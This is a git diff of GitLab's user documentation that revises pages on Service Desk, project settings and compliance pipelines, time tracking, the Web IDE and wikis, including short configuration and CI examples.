diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md
index e4a3e6d6ef1..4b649bab4d9 100644
--- a/doc/user/project/repository/jupyter_notebooks/index.md
+++ b/doc/user/project/repository/jupyter_notebooks/index.md
@@ -13,7 +13,7 @@ interactive computing in many fields and contain a complete record of the
user's sessions and include code, narrative text, equations, and rich output.
When added to a repository, Jupyter Notebooks with a `.ipynb` extension are
-rendered to HTML when viewed.
+rendered to HTML when viewed:
![Jupyter Notebook Rich Output](img/jupyter_notebook.png)
@@ -26,4 +26,4 @@ You can deploy [Jupyter Hub as a GitLab managed app](../../../clusters/applicati
## Jupyter Git integration
-Find out how to [leverage JupyterLab’s Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration).
+Find out how to [leverage JupyterLab's Git extension on your Kubernetes cluster](../../../clusters/applications.md#jupyter-git-integration).
diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md
index 7847930366a..323a2efce76 100644
--- a/doc/user/project/repository/reducing_the_repo_size_using_git.md
+++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md
@@ -143,10 +143,10 @@ To clean up a repository:
1. Upload a list of objects. For example, a `commit-map` file created by `git filter-repo` which is located in the
`filter-repo` directory.
- If your `commit-map` file is larger than 10MB, the file can be split and uploaded piece by piece:
+ If your `commit-map` file is larger than about 250KB or 3000 lines, the file can be split and uploaded piece by piece:
```shell
- split -l 100000 filter-repo/commit-map filter-repo/commit-map-
+ split -l 3000 filter-repo/commit-map filter-repo/commit-map-
```
1. Click **Start cleanup**.
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index efa35c1ceac..b6bde46b26a 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -56,6 +56,24 @@ NOTE:
The **Set up CI/CD** button does not appear on an empty repository. For the button
to display, add a file to your repository.
+## Highlight lines
+
+Web Editor enables you to highlight a single line by adding specially formatted
+hash information to the URL's file path segment. For example, the file path segment
+`MY_FILE.js#L3` instructs the Web Editor to highlight line 3.
+
+The Web Editor also enables you to highlight multiple lines using a similar pattern. In
+this case, the file path segment `MY_FILE.js#L3-10` instructs the Web Editor to
+highlight lines 3 to 10 of the file.
+
+You don't need to construct these lines manually. Instead, you can:
+
+1. Hover over the number of a line you want to be highlighted when sharing.
+1. Right-click the number with your mouse.
+1. Click **Copy Link Address** in the context menu.
+
+ ![Link to a line](img/web_editor_line_link_v13_10.png)
+
## Upload a file
The ability to create a file is great when the content is text. However, this
diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md
index bd37acafd22..d7fbff23e5e 100644
--- a/doc/user/project/requirements/index.md
+++ b/doc/user/project/requirements/index.md
@@ -122,8 +122,7 @@ You can also sort the requirements list by:
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1.
> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/215514) ability to specify individual requirements and their statuses in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.
-GitLab supports [requirements test
-reports](../../../ci/pipelines/job_artifacts.md#artifactsreportsrequirements) now.
+GitLab supports [requirements test reports](../../../ci/yaml/README.md#artifactsreportsrequirements) now.
You can add a job to your CI pipeline that, when triggered, marks all existing
requirements as Satisfied (you may manually satisfy a requirement in the edit form [edit a requirement](#edit-a-requirement)).
diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md
index 383b4df9612..dd646a54b43 100644
--- a/doc/user/project/service_desk.md
+++ b/doc/user/project/service_desk.md
@@ -160,7 +160,7 @@ To edit the custom email display name:
1. Enter a new name in **Email display name**.
1. Select **Save Changes**.
-### Using custom email address
+### Using custom email address **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in GitLab Premium 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) in GitLab 13.8.
@@ -183,7 +183,7 @@ always use separate mailboxes. This is important, because emails picked from
`service_desk_email` mailbox are processed by a different worker and it would
not recognize `incoming_email` emails.
-To configure a custom email address for Service Desk, add the following snippets to your configuration file:
+To configure a custom email address for Service Desk with IMAP, add the following snippets to your configuration file:
- Example for installations from source:
@@ -236,6 +236,38 @@ As a result, a new Service Desk issue is created from this email in the `mygroup
The configuration options are the same as for configuring
[incoming email](../../administration/incoming_email.md#set-it-up).
+#### Microsoft Graph
+
+> Introduced in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/214900)
+
+Service Desk can be configured to read Microsoft Exchange Online mailboxes with the Microsoft
+Graph API instead of IMAP. Follow the [documentation in the incoming e-mail section for setting up an OAuth2 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph).
+
+- Example for Omnibus GitLab installations:
+
+ ```ruby
+ gitlab_rails['service_desk_email_enabled'] = true
+
+ gitlab_rails['service_desk_email_address'] = "project_contact+%{key}@example.onmicrosoft.com"
+
+ gitlab_rails['service_desk_email_email'] = "project_contact@example.onmicrosoft.com"
+
+ gitlab_rails['service_desk_email_mailbox_name'] = "inbox"
+
+ gitlab_rails['service_desk_email_log_file'] = "/var/log/gitlab/mailroom/mail_room_json.log"
+
+ gitlab_rails['service_desk_inbox_method'] = 'microsoft_graph'
+
+ gitlab_rails['service_desk_inbox_options'] = {
+ 'tenant_id': '<YOUR-TENANT-ID>',
+ 'client_id': '<YOUR-CLIENT-ID>',
+ 'client_secret': '<YOUR-CLIENT-SECRET>',
+ 'poll_interval': 60 # Optional
+ }
+ ```
+
+The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details.
+
## Using Service Desk
You can use Service Desk to [create an issue](#as-an-end-user-issue-creator) or [respond to one](#as-a-responder-to-the-issue).
diff --git a/doc/user/project/settings/img/general_settings.png b/doc/user/project/settings/img/general_settings.png
deleted file mode 100644
index f88a158d2be..00000000000
--- a/doc/user/project/settings/img/general_settings.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/settings/img/general_settings_v13_11.png b/doc/user/project/settings/img/general_settings_v13_11.png
new file mode 100644
index 00000000000..9da5acdf82e
--- /dev/null
+++ b/doc/user/project/settings/img/general_settings_v13_11.png
Binary files differ
diff --git a/doc/user/project/settings/img/merge_requests_settings.png b/doc/user/project/settings/img/merge_requests_settings.png
deleted file mode 100644
index b1f2dfa7376..00000000000
--- a/doc/user/project/settings/img/merge_requests_settings.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index 7b5a0cbb377..6fa1b0aa368 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -39,8 +39,8 @@ Note the following:
The Importing GitLab version must be greater than or equal to the Exporting GitLab version.
- Imports will fail unless the import and export GitLab instances are
compatible as described in the [Version history](#version-history).
-- Exports are stored in a temporary [shared directory](../../../development/shared_files.md)
- and are deleted every 24 hours by a specific worker.
+- Exports are generated in your configured `shared_path`, a temporary [shared directory](../../../development/shared_files.md)
+ and are moved to your configured `uploads_directory`. Every 24 hours, a specific worker deletes these export files.
- Group members are exported as project members, as long as the user has
maintainer or administrator access to the group where the exported project lives.
- Project members with owner access will be imported as maintainers.
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index 785618a862a..6d37d26f6e8 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -9,10 +9,15 @@ type: reference, index, howto
NOTE:
Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions)
-to access a project settings.
+to access project settings.
-You can adjust your [project](../index.md) settings by navigating
-to your project's homepage and clicking **Settings**.
+The **Settings** page in GitLab provides a centralized home for your
+[project](../index.md) configuration options. To access it, go to your project's homepage
+and, in the left navigation menu, clicking **Settings**. To reduce complexity, settings are
+grouped by topic into sections. To display all settings in a section, click **Expand**.
+
+In GitLab versions [13.10 and later](https://gitlab.com/groups/gitlab-org/-/epics/4842),
+GitLab displays a search box to help you find the settings you want to view.
## General settings
@@ -21,9 +26,9 @@ functionality of a project.
### General project settings
-Adjust your project's name, description, avatar, [default branch](../repository/branches/index.md#default-branch), and topics:
+Adjust your project's name, description, avatar, [default branch](../repository/branches/default.md), and topics:
-![general project settings](img/general_settings.png)
+![general project settings](img/general_settings_v13_11.png)
The project description also partially supports [standard Markdown](../../markdown.md#standard-markdown-and-extensions-in-gitlab). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description.
@@ -43,11 +48,10 @@ Compliance framework labels do not affect your project settings.
#### Custom compliance frameworks
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276221) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It can be enabled or disabled for a single group
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-custom-compliance-frameworks). **(PREMIUM)**
+> - [Deployed behind a feature flag](../../feature_flags.md).
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287779) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -61,6 +65,71 @@ can now create their own.
New compliance framework labels can be created and updated using GraphQL.
+#### Compliance pipeline configuration **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3156) in GitLab 13.9.
+> - [Deployed behind a feature flag](../../feature_flags.md).
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/300324) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+Group owners can use the compliance pipeline configuration to define compliance requirements
+such as scans or tests, and enforce them in individual projects.
+
+The [custom compliance framework](#custom-compliance-frameworks) feature allows group owners to specify the location
+of a compliance pipeline configuration stored and managed in a dedicated project, distinct from a developer's project.
+
+When you set up the compliance pipeline configuration field, use the
+`file@group/project` format. For example, you can configure
+`.compliance-gitlab-ci.yml@compliance-group/compliance-project`.
+This field is inherited by projects where the compliance framework label is applied. The result
+forces the project to run the compliance configurations.
+
+When a project with a custom label executes a pipeline, it begins by evaluating the compliance pipeline configuration.
+The custom pipeline configuration can then execute any included individual project configuration.
+
+The user running the pipeline in the project should at least have Reporter access to the compliance project.
+
+Example `.compliance-gitlab-ci.yml`
+
+```yaml
+stages: # Allows compliance team to control the ordering and interweaving of stages/jobs
+- pre-compliance
+- build
+- test
+- pre-deploy-compliance
+- deploy
+- post-compliance
+
+variables: # can be overriden by a developer's local .gitlab-ci.yml
+ FOO: sast
+
+sast: # none of these attributes can be overriden by a developer's local .gitlab-ci.yml
+ variables:
+ FOO: sast
+ stage: pre-compliance
+ script:
+ - echo "running $FOO"
+
+sanity check:
+ stage: pre-deploy-compliance
+ script:
+ - echo "running $FOO"
+
+
+audit trail:
+ stage: post-compliance
+ script:
+ - echo "running $FOO"
+
+include: # Execute individual project's configuration
+ project: '$CI_PROJECT_PATH'
+ file: '$CI_PROJECT_CONFIG_PATH'
+```
+
### Sharing and permissions
For your repository, you can set up features such as public access, repository features,
@@ -145,8 +214,7 @@ Set up your project's merge request settings:
- Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved).
- Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch)
- Configure [suggested changes commit messages](../../discussions/index.md#configure-the-commit-message-for-applied-suggestions)
-
-![project's merge request settings](img/merge_requests_settings.png)
+- Configure [the default target project](../merge_requests/creating_merge_requests.md#set-the-default-target-project) for merge requests coming from forks.
### Service Desk
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index cda39508835..d37e6144ab3 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -78,3 +78,9 @@ the following table.
| `write_registry` | Allows write-access (push) to [container registry](../../packages/container_registry/index.md). |
| `read_repository` | Allows read-only access (pull) to the repository. |
| `write_repository` | Allows read-write access (pull, push) to the repository. |
+
+## Enable or disable project access token creation
+
+You may enable or disable project access token creation for all projects in a group in **Group > Settings > General > Permissions, LFS, 2FA > Allow project access token creation**.
+Even when creation is disabled, you can still use and revoke existing project access tokens.
+This setting is available only on top-level groups.
diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md
index d1e9fe155b4..78e7ded9784 100644
--- a/doc/user/project/time_tracking.md
+++ b/doc/user/project/time_tracking.md
@@ -30,11 +30,9 @@ below.
## How to enter data
-Time Tracking uses two [quick actions](quick_actions.md)
-that GitLab introduced with this new feature: `/spend` and `/estimate`.
+Time Tracking uses two [quick actions](quick_actions.md): `/spend` and `/estimate`.
-Quick actions can be used in the body of an issue or a merge request, but also
-in a comment in both an issue or a merge request.
+If you use either quick action more than once in a single comment, only the last occurrence is applied.
Below is an example of how you can use those new quick actions inside a comment.
@@ -46,9 +44,9 @@ with [Reporter and higher permission levels](../permissions.md).
### Estimates
To enter an estimate, write `/estimate`, followed by the time. For example, if
-you need to enter an estimate of 3 days, 5 hours and 10 minutes, you would write
-`/estimate 3d 5h 10m`. Time units that we support are listed at the bottom of
-this help page.
+you need to enter an estimate of 1 month, 2 weeks, 3 days, 4 hours and 5 minutes,
+write `/estimate 1mo 2w 3d 4h 5m`.
+Check the [time units you can use](#configuration).
Every time you enter a new time estimate, any previous time estimates are
overridden by this new value. There should only be one valid estimate in an
@@ -58,7 +56,9 @@ To remove an estimation entirely, use `/remove_estimate`.
### Time spent
-To enter a time spent, use `/spend 3d 5h 10m`.
+To enter time spent, write `/spend`, followed by the time. For example, if you need
+to log 1 month, 2 weeks, 3 days, 4 hours and 5 minutes, you would write `/spend 1mo 2w 3d 4h 5m`.
+Time units that we support are listed at the bottom of this help page.
Every new time spent entry is added to the current total time spent for the
issue or the merge request.
@@ -68,6 +68,11 @@ days from the total time spent. You can't go below 0 minutes of time spent,
so GitLab automatically resets the time spent if you remove a larger amount
of time compared to the time that was entered already.
+You can log time in the past by providing a date after the time.
+For example, if you want to log 1 hour of time spent on the 31 January 2021,
+you would write `/spend 1h 2021-01-31`. If you supply a date in the future, the
+command fails and no time is logged.
+
To remove all the time spent at once, use `/remove_time_spent`.
## Configuration
diff --git a/doc/user/project/web_ide/img/commit_changes_v12_9.png b/doc/user/project/web_ide/img/commit_changes_v12_9.png
deleted file mode 100644
index 9a8bb214b3d..00000000000
--- a/doc/user/project/web_ide/img/commit_changes_v12_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/web_ide/img/commit_changes_v13_11.png b/doc/user/project/web_ide/img/commit_changes_v13_11.png
new file mode 100644
index 00000000000..6cd270a6112
--- /dev/null
+++ b/doc/user/project/web_ide/img/commit_changes_v13_11.png
Binary files differ
diff --git a/doc/user/project/web_ide/img/live_preview_v13_0.png b/doc/user/project/web_ide/img/live_preview_v13_0.png
index bd04d3d644b..f701e137a6b 100644
--- a/doc/user/project/web_ide/img/live_preview_v13_0.png
+++ b/doc/user/project/web_ide/img/live_preview_v13_0.png
Binary files differ
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index 57b79875909..73aed1244db 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -66,9 +66,6 @@ Monaco uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html
If you are missing Syntax Highlighting support for any language, we prepared a short guide on how to [add support for a missing language Syntax Highlighting.](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/ide/lib/languages/README.md)
-NOTE:
-Single file editing is based on the [Ace Editor](https://ace.c9.io).
-
### Themes
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in GitLab 13.0.
@@ -82,6 +79,12 @@ You can pick a theme from your [profile preferences](../../profile/preferences.m
|-------------------------------------------------------------|-----------------------------------------|
| ![Solarized Dark Theme](img/solarized_dark_theme_v13_1.png) | ![Dark Theme](img/dark_theme_v13_0.png) |
+## Highlight lines
+
+WebIDE is built with the [Web Editor](../repository/web_editor.md). This enables WebIDE to share the
+same core features for highlighting and linking to particular lines in the edited files
+[described for the Web Editor](../repository/web_editor.md#highlight-lines).
+
## Schema based validation
> - Support for validation based on predefined schemas [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) in GitLab 13.2.
@@ -187,7 +190,7 @@ To discard a change in a particular file, click the **Discard changes** button o
file in the changes tab. To discard all the changes, click the trash icon on the
top-right corner of the changes sidebar.
-![Commit changes](img/commit_changes_v12_9.png)
+![Commit changes](img/commit_changes_v13_11.png)
## Reviewing changes
@@ -341,7 +344,7 @@ terminal:
# This can be any image that has the necessary runtime environment for your project.
image: node:10-alpine
before_script:
- - apt-get update
+ - apk update
script: sleep 60
variables:
RAILS_ENV: "test"
diff --git a/doc/user/project/wiki/img/wiki_create_home_page.png b/doc/user/project/wiki/img/wiki_create_home_page.png
deleted file mode 100644
index 658af33d76e..00000000000
--- a/doc/user/project/wiki/img/wiki_create_home_page.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/wiki/img/wiki_create_new_page.png b/doc/user/project/wiki/img/wiki_create_new_page.png
deleted file mode 100644
index 8954ec0d3a8..00000000000
--- a/doc/user/project/wiki/img/wiki_create_new_page.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index eb8270b8740..a69141ac04d 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -7,68 +7,76 @@ type: reference, how-to
# Wiki **(FREE)**
-A separate system for documentation called Wiki, is built right into each
-GitLab project. It is enabled by default on all new projects and you can find
-it under **Wiki** in your project.
+If you don't want to keep your documentation in your repository, but you do want
+to keep it in the same project as your code, you can use the wiki GitLab provides
+in each GitLab project. Every wiki is a separate Git repository, so you can create
+wiki pages in the web interface, or [locally using Git](#create-or-edit-wiki-pages-locally).
+
+To access the wiki for a project or group, go to the page for your project or group
+and, in the left sidebar, select **Wiki**. If **Wiki** is not listed in the
+left sidebar, a project administrator has [disabled it](#enable-or-disable-a-project-wiki).
+
+GitLab wikis support Markdown, RDoc, AsciiDoc, and Org for content.
+Wiki pages written in Markdown support all [Markdown features](../../markdown.md),
+and also provide some [wiki-specific behavior](../../markdown.md#wiki-specific-markdown)
+for links.
+
+In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/17673/),
+wiki pages display a sidebar, which you [can customize](#customize-sidebar). This
+sidebar contains a partial list of pages in the wiki, displayed as a nested tree,
+with sibling pages listed in alphabetical order. To view a list of all pages, select
+**View All Pages** in the sidebar:
-Wikis are very convenient if you don't want to keep your documentation in your
-repository, but you do want to keep it in the same project where your code
-resides.
-
-You can create Wiki pages in the web interface or
-[locally using Git](#adding-and-editing-wiki-pages-locally) since every Wiki is
-a separate Git repository.
-
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5,
-**group wikis** became available. Their usage is similar to project wikis, with a few [limitations](../../group/index.md#group-wikis).
-
-## First time creating the Home page
-
-The first time you visit a Wiki, you are directed to create the Home page.
-The Home page is necessary to be created because it serves as the landing page
-when viewing a Wiki. Complete the **Content** section, and then select
-**Create page**. You can always edit it later, so go ahead and write a welcome
-message.
-
-![New home page](img/wiki_create_home_page.png)
-
-## Creating a new wiki page
-
-NOTE:
-Requires Developer [permissions](../../permissions.md).
-
-Create a new page by selecting the **New page** button that can be found
-in all wiki pages.
-
-Enter a title for your new wiki page.
-
-You can specify a full path for the wiki page by using '/' in the
-title to indicate subdirectories. Any missing directories are created
-automatically. For example, a title of `docs/my-page` creates a wiki
-page with a path `/wikis/docs/my-page`.
-
-After you enter the page name, it's time to fill in its content. GitLab wikis
-support Markdown, RDoc, AsciiDoc, and Org. For Markdown based pages, all the
-[Markdown features](../../markdown.md) are supported and for links there is
-some [wiki specific](../../markdown.md#wiki-specific-markdown) behavior.
-
-In the web interface the commit message is optional, but the GitLab Wiki is
-based on Git and needs a commit message, so one is created for you if you
-don't enter one.
-
-When you're ready, select **Create page** and the new page is created.
-
-![New page](img/wiki_create_new_page.png)
-
-### Attachment storage
+![Wiki sidebar](img/wiki_sidebar_v13_5.png)
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475) in GitLab 11.3.
+## Create the wiki home page
+
+When a wiki is created, it is empty. On your first visit, create the landing page
+users see when viewing the wiki:
+
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**, then **Create your first page**.
+1. Select a **Format** for styling your text.
+1. Add a welcome message in the **Content** section. You can always edit it later.
+1. Add a **Commit message**. Git requires a commit message, so GitLab creates one
+ if you don't enter one yourself.
+1. Select **Create page**.
+
+## Create a new wiki page
+
+Users with Developer [permissions](../../permissions.md) can create new wiki pages:
+
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**.
+1. Select **New page** on this page, or any other wiki page.
+1. Select a content format.
+1. Add a title for your new page. Page titles use
+ [special characters](#special-characters-in-page-titles) for subdirectories and formatting,
+ and have [length restrictions](#length-restrictions-for-file-and-directory-names).
+1. Add content to your wiki page.
+1. (Optional) Attach a file, and GitLab stores it according to your installed version of GitLab:
+ - *Files added in [GitLab 11.3 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475):*
+ Files are stored in the wiki's Git repository.
+ - *Files added GitLab 11.2 and earlier:* Files are stored in GitLab itself. To add
+ the file to the wiki's Git repository, you must re-upload the file.
+1. Add a **Commit message**. Git requires a commit message, so GitLab creates one
+ if you don't enter one yourself.
+1. Select **Create page**.
+
+### Create or edit wiki pages locally
+
+Wikis are based on Git repositories, so you can clone them locally and edit
+them like you would do with every other Git repository. To clone a wiki repository
+locally, select **Clone repository** from the right-hand sidebar of any wiki page,
+and follow the on-screen instructions.
+
+Files you add to your wiki locally must use one of the following
+supported extensions, depending on the markup language you wish to use.
+Files with unsupported extensions don't display when pushed to GitLab:
-Any file uploaded to the wiki with the GitLab
-interface is stored in the wiki Git repository, and is available
-if you clone the wiki repository locally. All uploaded files prior to GitLab
-11.3 are stored in GitLab itself. If you want them to be part of the wiki's Git
-repository, you must upload them again.
+- Markdown extensions: `.mdown`, `.mkd`, `.mkdn`, `.md`, `.markdown`.
+- AsciiDoc extensions: `.adoc`, `.ad`, `.asciidoc`.
+- Other markup extensions: `.textile`, `.rdoc`, `.org`, `.creole`, `.wiki`, `.mediawiki`, `.rst`.
### Special characters in page titles
@@ -76,141 +84,118 @@ Wiki pages are stored as files in a Git repository, so certain characters have a
- Spaces are converted into hyphens when storing a page.
- Hyphens (`-`) are converted back into spaces when displaying a page.
-- Slashes (`/`) can't be used, because they're used as path separator.
+- Slashes (`/`) are used as path separators, and can't be displayed in titles. If you
+ create a title containing `/` characters, GitLab creates all the subdirectories
+ needed to build that path. For example, a title of `docs/my-page` creates a wiki
+ page with a path `/wikis/docs/my-page`.
### Length restrictions for file and directory names
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24364) in GitLab 12.8.
-Many common file systems have a [limit of 255 bytes for file and directory names](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits), and while Git and GitLab both support paths exceeding those limits, the presence of them makes it impossible for users on those file systems to checkout a wiki repository locally.
-
-To avoid this situation, these limits are enforced when editing pages through the GitLab web interface and API:
+Many common file systems have a [limit of 255 bytes](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits)
+for file and directory names. Git and GitLab both support paths exceeding
+those limits. However, if your file system enforces these limits, you cannot check out a
+local copy of a wiki that contains filenames exceeding this limit. To prevent this
+problem, the GitLab web interface and API enforce these limits:
- 245 bytes for page titles (reserving 10 bytes for the file extension).
- 255 bytes for directory names.
-Please note that:
+Non-ASCII characters take up more than one byte.
-- Non-ASCII characters take up more than one byte.
-- It's still possible to create files and directories exceeding those limits locally through Git, but this might break on other people's machines.
+While you can still create files locally that exceed these limits, your teammates
+may not be able to check out the wiki locally afterward.
-## Editing a wiki page
+## Edit a wiki page
-You need Developer [permissions](../../permissions.md) or higher to edit a wiki page.
-To do so:
+You need Developer [permissions](../../permissions.md) or higher to edit a wiki page:
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**, and go to the page you want to edit.
1. Select the edit icon (**{pencil}**).
1. Edit the content.
1. Select **Save changes**.
-### Adding a table of contents
+### Create a table of contents
-To generate a table of contents from the headings in a Wiki page, use the `[[_TOC_]]` tag.
-For an example, see [Table of contents](../../markdown.md#table-of-contents).
+To generate a table of contents from a wiki page's subheadings, use the `[[_TOC_]]` tag.
+For an example, read [Table of contents](../../markdown.md#table-of-contents).
-## Deleting a wiki page
+## Delete a wiki page
-You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page.
-To do so:
+You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page:
-1. Open the page you want to delete.
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**, and go to the page you want to delete.
1. Select **Delete page**.
1. Confirm the deletion.
-## Moving a wiki page
+## Move a wiki page
-You need Developer [permissions](../../permissions.md) or higher to move a wiki page.
-To do so:
+You need Developer [permissions](../../permissions.md) or higher to move a wiki page:
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**, and go to the page you want to move.
1. Select the edit icon (**{pencil}**).
-1. Add the new path to the **Title** field.
+1. Add the new path to the **Title** field. For example, if you have a wiki page
+ called `about` under `company` and you want to move it to the wiki's root,
+ change the **Title** from `about` to `/about`.
1. Select **Save changes**.
-For example, if you have a wiki page called `about` under `company` and you want to
-move it to the wiki's root:
-
-1. Select the edit icon (**{pencil}**).
-1. Change the **Title** from `about` to `/about`.
-1. Select **Save changes**.
-
-If you want to do the opposite:
-
-1. Select the edit icon (**{pencil}**).
-1. Change the **Title** from `about` to `company/about`.
-1. Select **Save changes**.
+## View history of a wiki page
-## Viewing a list of all created wiki pages
+The changes of a wiki page over time are recorded in the wiki's Git repository.
+To view the changes for a wiki page, select **Page history**.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17673/) in GitLab 13.5, wiki pages are displayed as a nested tree in the sidebar and pages overview.
-
-Every wiki has a sidebar from which a short list of the created pages can be
-found. The list is ordered alphabetically.
-
-![Wiki sidebar](img/wiki_sidebar_v13_5.png)
-
-If you have many pages, not all are listed in the sidebar. Select
-**View All Pages** to see all of them.
-
-## Viewing the history of a wiki page
-
-The changes of a wiki page over time are recorded in the wiki's Git repository,
-and you can view them by selecting **Page history**.
-
-From the history page you can see the revision of the page (Git commit SHA), its
-author, the commit message, and when it was last updated.
-To see how a previous version of the page looked like, select a revision
-number in the **Page version** column.
+From the history page you can see:
![Wiki page history](img/wiki_page_history.png)
-### Viewing the changes between page versions
+- The revision (Git commit SHA) of the page.
+- The page author.
+- The commit message.
+- The last update.
+- Previous revisions, by selecting a revision number in the **Page version** column.
+
+### View changes between page versions
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15242) in GitLab 13.2.
-Similar to versioned diff file views, you can see the changes made in a given Wiki page version:
+You can see the changes made in a version of a wiki page, similar to versioned diff file views:
-1. Navigate to the Wiki page you're interested in.
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**, and go to the wiki page you're interested in.
1. Select **Page history** to see all page versions.
1. Select the commit message in the **Changes** column for the version you're interested in.
![Wiki page changes](img/wiki_page_diffs_v13_2.png)
-## Wiki activity records
+## Track wiki events
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14902) in **GitLab 12.10.**
> - Git events were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216014) in **GitLab 13.0.**
> - [Feature flag for Git events was removed](https://gitlab.com/gitlab-org/gitlab/-/issues/258665) in **GitLab 13.5**
-Wiki events (creation, deletion, and updates) are tracked by GitLab and
-displayed on the [user profile](../../profile/index.md#access-your-user-profile),
+GitLab tracks wiki creation, deletion, and update events. These events are displayed on the
+[user profile](../../profile/index.md#access-your-user-profile),
[group](../../group/index.md#view-group-activity),
and [project](../working_with_projects.md#project-activity) activity pages.
-## Adding and editing wiki pages locally
-
-Since wikis are based on Git repositories, you can clone them locally and edit
-them like you would do with every other Git repository.
-
-In the right sidebar, select **Clone repository** and follow the on-screen
-instructions.
-
-Files that you add to your wiki locally must have one of the following
-supported extensions, depending on the markup language you wish to use,
-otherwise they don't display when pushed to GitLab:
-
-- Markdown extensions: `.mdown`, `.mkd`, `.mkdn`, `.md`, `.markdown`.
-- AsciiDoc extensions: `.adoc`, `.ad`, `.asciidoc`.
-- Other markup extensions: `.textile`, `.rdoc`, `.org`, `.creole`, `.wiki`, `.mediawiki`, `.rst`.
-
-## Customizing sidebar
+## Customize sidebar
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23109) in GitLab 13.8, the sidebar can be customized by selecting the **Edit sidebar** button.
-To customize the Wiki's navigation sidebar, you need Developer permissions to the project.
+You need Developer [permissions](../../permissions.md) or higher to customize the wiki
+navigation sidebar. This process creates a wiki page named `_sidebar` which fully
+replaces the default sidebar navigation:
-In the top-right, select **Edit sidebar** and make your changes. This creates a wiki page named `_sidebar` which fully replaces the default sidebar navigation.
+1. Go to the page for your project or group.
+1. In the left sidebar, select **Wiki**.
+1. In the top right corner of the page, select **Edit sidebar**.
+1. When complete, select **Save changes**.
